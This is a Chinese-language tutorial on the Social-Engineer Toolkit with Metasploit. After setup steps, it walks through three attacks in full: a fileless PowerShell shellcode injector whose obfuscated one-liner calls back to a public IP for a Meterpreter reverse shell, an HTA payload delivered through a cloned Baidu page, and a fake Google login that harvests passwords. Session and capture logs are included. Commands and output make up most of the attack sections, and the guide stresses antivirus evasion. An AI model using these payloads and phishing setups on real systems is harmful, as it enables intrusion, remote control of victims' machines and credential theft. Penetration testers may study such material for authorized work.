SEToolkit 社会工程学工具包应用入门

Social-Engineer Toolkit,社会工程学工具包是由安全研究员 DavidKennedy 开发、同时由社区持续维护的开源专业渗透测试套件,也是渗透测试、红队演练中最常用的社工攻击工具。该工具常与 Metasploit 框架联动使用,适配各类合规的授权安全测试场景。社会工程学攻击技术核心不依赖系统漏洞、代码缺陷,而是利用人的好奇心、侥幸心理、疏忽等人性的弱点实施的攻击方法,是渗透中十分强大的非技术手段。

本文基于 CentOS Stream 10 系统,讲解 SEToolkit 最新版(8.1.3)的环境部署、依赖配置,以及内存注入攻击、网页HTA注入攻击、网页钓鱼凭据收割三大核心实战场景的操作技巧。

环境安装与配置

本次实验环境:CentOS Stream EL10、Python3.11+、PostgreSQL数据库、Metasploit Framework、SEToolkit 8.1.3。整体分为虚拟环境搭建、SET工具安装、数据库配置、MSF框架部署四大步骤。

1、为避免系统Python环境依赖冲突,全程使用独立虚拟环境安装、运行SET工具,操作命令如下。

[root@localhost ~]# sudo python3 -m venv ~/myvenv
[root@localhost ~]# source ~/myvenv/bin/activate
[root@localhost ~]# git clone https://github.com/trustedsec/social-engineer-toolkit/
[root@localhost ~]#
[root@localhost ~]# cd social-engineer-toolkit/
[root@localhost ~]# pip3 install -r requirements.txt
[root@localhost ~]# python3 setup.py
[*] Installing setoolkit to /usr/local/share/setoolkit
[*] Creating launcher for setoolkit...
[*] Finished. Run 'setoolkit' to start the Social Engineer Toolkit.

2、Metasploit 框架需要依赖 PostgreSQL 数据库存储渗透数据、会话信息、漏洞缓存,需提前安装配置数据库环境。

[root@localhost ~]# dnf install -y dnf-plugins-core
Last metadata expiration check: 0:38:05 ago on Tue 01 Sep 2026 03:00:03 PM CST.
Package dnf-plugins-core-4.7.0-12.el10.noarch is already installed.
Dependencies resolved.
Nothing to do.
Complete!
[root@localhost ~]#
[root@localhost ~]# dnf config-manager --set-enabled crb
[root@localhost ~]# dnf clean all && dnf makecache
[root@localhost ~]#
[root@localhost ~]# dnf install -y libpcap-devel postgresql postgresql-server
Last metadata expiration check: 0:00:11 ago on Tue 01 Sep 2026 03:38:55 PM CST.
Package libpcap-devel-14:1.10.4-7.el10.x86_64 is already installed.
Package postgresql-16.14-3.el10.x86_64 is already installed.
Package postgresql-server-16.14-3.el10.x86_64 is already installed.
Dependencies resolved.
Nothing to do.
Complete!

3、默认数据库初始化,需手动创建数据目录、初始化数据库并配置开机自启。

[root@localhost ~]# mkdir -p /var/lib/pgsql/data
[root@localhost ~]# chown postgres:postgres /var/lib/pgsql/data
[root@localhost ~]# chmod 700 /var/lib/pgsql/data
[root@localhost ~]# su - postgres -c "initdb -D /var/lib/pgsql/data"
[root@localhost ~]#
[root@localhost ~]# systemctl start postgresql
[root@localhost ~]# systemctl enable postgresql
[root@localhost ~]# systemctl status postgresql
● postgresql.service - PostgreSQL database server
Loaded: loaded (/usr/lib/systemd/system/postgresql.service; enabled; preset: disabled)
Active: active (running) since Tue 2026-09-01 14:57:07 CST; 42min ago
Invocation: c6fba04389b54462825b62adaf8e1c03
Main PID: 4039 (postgres)
Tasks: 7 (limit: 10319)
Memory: 81M (peak: 88.7M)
CPU: 1.438s
CGroup: /system.slice/postgresql.service
├─4039 /usr/bin/postgres -D /var/lib/pgsql/data
├─4040 "postgres: logger "
├─4041 "postgres: checkpointer "
├─4042 "postgres: background writer "
├─4044 "postgres: walwriter "
├─4045 "postgres: autovacuum launcher "
└─4046 "postgres: logical replication launcher "

# 配置数据库用户名及密码
[root@localhost ~]# su - postgres
Last login: Tue Sep 1 15:39:43 CST 2026 on pts/0
[postgres@localhost ~]$
[postgres@localhost ~]$ createuser msf -P
Enter password for new role: 123
Enter it again:123

[postgres@localhost ~]$ createdb msf_database -O msf
exit
[postgres@localhost ~]$ exit
logout

4、通过官方脚本安装最新版Metasploi框架,适配SEToolkit联动需求。

[root@localhost ~]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
[root@localhost ~]# chmod +x msfinstall
[root@localhost ~]# ./msfinstall

5、安装完成后进入MSF控制台,对接刚才创建的PostgreSQL数据库。

[root@localhost ~]# msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

# 此处的数据库链接每次重启MSF都要执行重新连接
msf > db_connect postgresql://msf:123@127.0.0.1:5432/msf_database
[*] Connected to Postgres data service: 127.0.0.1/msf_database
msf > db_status
[*] Connected to msf_database. Connection type: postgresql. Connection name: local_db_service.
msf > workspace
* default
msf > db_rebuild_cache
This command is deprecated with Metasploit 5

内存注入攻击 (Powershell Alphanumeric Shellcode Injector)

该模块为 Powershell Alphanumeric Shellcode Injector(字母数字编码内存注入载荷),适配 Win7~Win11 全系列Windows系统。通过纯内存加载 Meterpreter 会话、无本地文件落地,规避主流杀毒软件、终端防护的文件查杀机制,免杀效果极强,是内网渗透常用的持久化攻击手段。

1、激活虚拟环境,启动SEToolkit工具。

[root@localhost ~]# source ~/myvenv/bin/activate
[root@localhost ~]# setoolkit

[---] The Social-Engineer Toolkit (SET) [---]
[---] Created by: David Kennedy (ReL1K) [---]
Version: 8.1.3
Codename: 'Maverick'
[---] Follow us on Twitter: @TrustedSec [---]
[---] Follow me on Twitter: @HackingDave [---]
[---] Homepage: https://www.trustedsec.com [---]
Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

It's easy to update using the PenTesters Framework! (PTF)
Visit https://github.com/trustedsec/ptf to update all your tools!

2、一级菜单选择

Social-Engineering Attacks(社会工程学攻击)

Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit

set> 1

3、二级菜单选择

Powershell Attack Vectors(Powershell攻击向量)

Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.

set> 9

4、三级菜单选择

Powershell Alphanumeric Shellcode Injector(字母数字内存注入载荷)

内存加载会话无文件落地,此处提示我们配置本机公网IP地址及反弹的端口号,最终输出一个/root/.set/reports/powershell/powershell.rc目录文件,这里是MSFconsole执行了哪些配置命令的保存内容。而x86_powershell_injection.txt中的内容则是要执行的反弹后门代码。

Select from the menu:
1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database
99) Return to Main Menu

set:powershell> 1
Enter the IPAddress or DNS name for the reverse host: 8.140.234.178

set:powershell> Enter the port for the reverse [443]: 443
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Reverse_HTTPS takes a few seconds to calculate..One moment..
No encoder specified, outputting raw payload
Payload size: 396 bytes
Final size of c file: 1695 bytes
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell/
set> Do you want to start the listener now [yes/no]: yes

5、将生成的Powershell一句话命令在目标Windows主机执行,执行后无需落地任何文件,直接内存反弹会话,拿到对方主机的控制权。

[root@localhost ~]# cat /root/.set/reports/powershell/powershell.rc
use multi/handler
set payload windows/meterpreter/reverse_https
set LPORT 443
set LHOST 0.0.0.0
set ExitOnSession false

[root@localhost ~]# cat /root/.set/reports/powershell/x86_powershell_injection.txt
powershell -w 1 -C "sv WO -;sv qY ec;sv r ((gv WO).value.toString()+(gv qY).value.toString());powershell (gv r).value.toString() 'JABOAGoAIAA9ACAAJwAkAGYAeABQACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdAB'"

6、成功获取目标主机完整控制权,可执行文件操作、权限提升、进程管理等后续渗透操作。

msf exploit(multi/handler) > 
[!] https://0.0.0.0:443/ handling request from x.x.x.x; (UUID: qip7mdob) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:443/ handling request from x.x.x.x; (UUID: qip7mdob) Staging x86 payload (203648 bytes) ...
[*] Meterpreter session 1 opened (x.x.x.x:443 -> x.x.x.x:59472) at 2026-09-01 16:31:31 +0800

msf exploit(multi/handler) > sessions -i

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows DESKTOP-AC3AdPTdW\Admin @ DESKT x.x.x.x:443 -> x.x.x.x.101:59897 (192.168.0.200)

msf exploit(multi/handler) >
msf exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : DESKTOP-AC3AdPTdW
OS : Windows 10 1809 (10.0 Build 17763).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
meterpreter > background
[*] Backgrounding session 1...

网页注入攻击(HTA Attack Method)

HTA(HTML Application)为Windows原生网页应用程序,可直接通过系统解析执行脚本。该攻击通过克隆正规网站,搭建虚假钓鱼站点,用户访问虚假页面并允许弹窗权限后,自动后台加载恶意HTA文件,触发MSF反弹载荷,直接获取Windows主机完整权限。

1、安装并启动Apache网页服务(钓鱼页面运行依赖)

[root@localhost ~]# dnf install httpd
[root@localhost ~]# systemctl start httpd
[root@localhost ~]# systemctl status httpd
● httpd.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/httpd.service; disabled; preset: disabled)
Active: active (running) since Tue 2026-09-01 17:12:22 CST; 5min ago
Invocation: 2f82197bbdc44508994f334e5156b0c6
Docs: man:httpd.service(8)
Main PID: 3263 (httpd)
Status: "Total requests: 3; Idle/Busy workers 100/0;Requests/sec: 0.00971; Bytes served/sec: >
Tasks: 177 (limit: 10320)
Memory: 15.1M (peak: 15.3M)
CPU: 266ms
CGroup: /system.slice/httpd.service
├─3263 /usr/sbin/httpd -DFOREGROUND
├─3264 /usr/sbin/httpd -DFOREGROUND
├─3265 /usr/sbin/httpd -DFOREGROUND
├─3266 /usr/sbin/httpd -DFOREGROUND
└─3267 /usr/sbin/httpd -DFOREGROUND

[root@localhost ~]# source ~/myvenv/bin/activate

2、一级菜单选择

Social-Engineering Attacks

Select from the menu:

1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit

set> 1

3、二级菜单选择

Website Attack Vectors(网站攻击向量)

Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.

set> 2

4、三级菜单选择

HTA Attack Method(HTA注入攻击)

Select from the menu:
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method
99) Return to Main Menu

set:webattack> 7

5、页面模式

Site Cloner(网站克隆)

输入需要克隆的网站地址以及本机的外网地址,以及端口号为80,并使用Meterpreter Reverse TCP反弹后门。

Select from the menu:
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu

set:webattack> 2
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone: https://www.baidu.com
[*] HTA Attack Vector selected. Enter your IP, Port, and Payload...
set> IP address or URL (www.ex.com) for the payload listener (LHOST) [x.x.x.x]: 8.140.234.178
Enter the port for the reverse payload [443]: 443
Select the payload you want to deliver:

1. Meterpreter Reverse HTTPS
2. Meterpreter Reverse HTTP
3. Meterpreter Reverse TCP

Enter the payload number [1-3]: 3

msf exploit(multi/handler) >
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (203481 bytes) to x.x.x.x

msf exploit(multi/handler) > sessions -i

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x86/windows x.x.x.x:443 -> x.x.x.x:58052 (x.x.x.x)

msf exploit(multi/handler) >
msf exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > use -l
bofloader
espia
extapi
incognito
kiwi

网页钓鱼攻击(Credential Harvester Attack Method)

该攻击为纯信息窃取类社工攻击,无主机控权权限。通过伪造登录页面(谷歌、百度、企业后台等),诱导用户输入账号密码,后台自动抓取、记录用户提交的账号密码、Cookie等敏感信息,是日常钓鱼演练、员工安全意识测试的核心手段,常结合邮件钓鱼、链接诱导使用。

1、关闭原有Apache服务,避免端口冲突。

[root@localhost ~]# systemctl stop httpd
[root@localhost ~]# systemctl status httpd
○ httpd.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/httpd.service; disabled; preset: disabled)
Active: inactive (dead)
Docs: man:httpd.service(8)
source ~/myvenv/bin/activate

2、一级菜单选择

Social-Engineering Attacks

[root@localhost ~]# setoolkit
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit

set> 1

3、二级菜单选择

Website Attack Vectors

Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third Party Modules
99) Return back to the main menu.

set> 2

4、三级菜单选择

Credential Harvester Attack Method(凭据收割攻击)

Select from the menu:
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Web Jacking Attack Method
6) Multi-Attack Web Method
7) HTA Attack Method
99) Return to Main Menu

set:webattack> 3

5、页面模式

Web Templates(内置模板)

Select from the menu:
1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu

set:webattack> 1
set:webattack> IP address for the POST back in Harvester/Tabnabbing [x.x.x.x]: 8.140.234.178

6、此处选择Google模板文件,至此当用户访问http://8.140.234.178就会看到伪造页面,此时输入账号密码并登录,则我们后台就可以获取到对方的登录密码信息。

set:webattack> Select a template: 2

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...

The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
x.x.x.x - - [01/Sep/2026 17:43:04] "GET / HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
PARAM: GALX=SJLCkfgaqoM
PARAM: continue=https://accounts.google.com/o/oauth2/auth?zt=ChRs
PARAM: service=lso
PARAM: dsh=-7381887106725792428
PARAM: _utf8=â
PARAM: bgresponse=js_disabled
PARAM: pstMsg=1
PARAM: dnConn=
PARAM: checkConnection=
PARAM: checkedDomains=youtube
POSSIBLE USERNAME FIELD FOUND: Email=admin@lyshark.com
POSSIBLE PASSWORD FIELD FOUND: Passwd=123456
PARAM: signIn=Sign+in
PARAM: PersistentCookie=yes
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.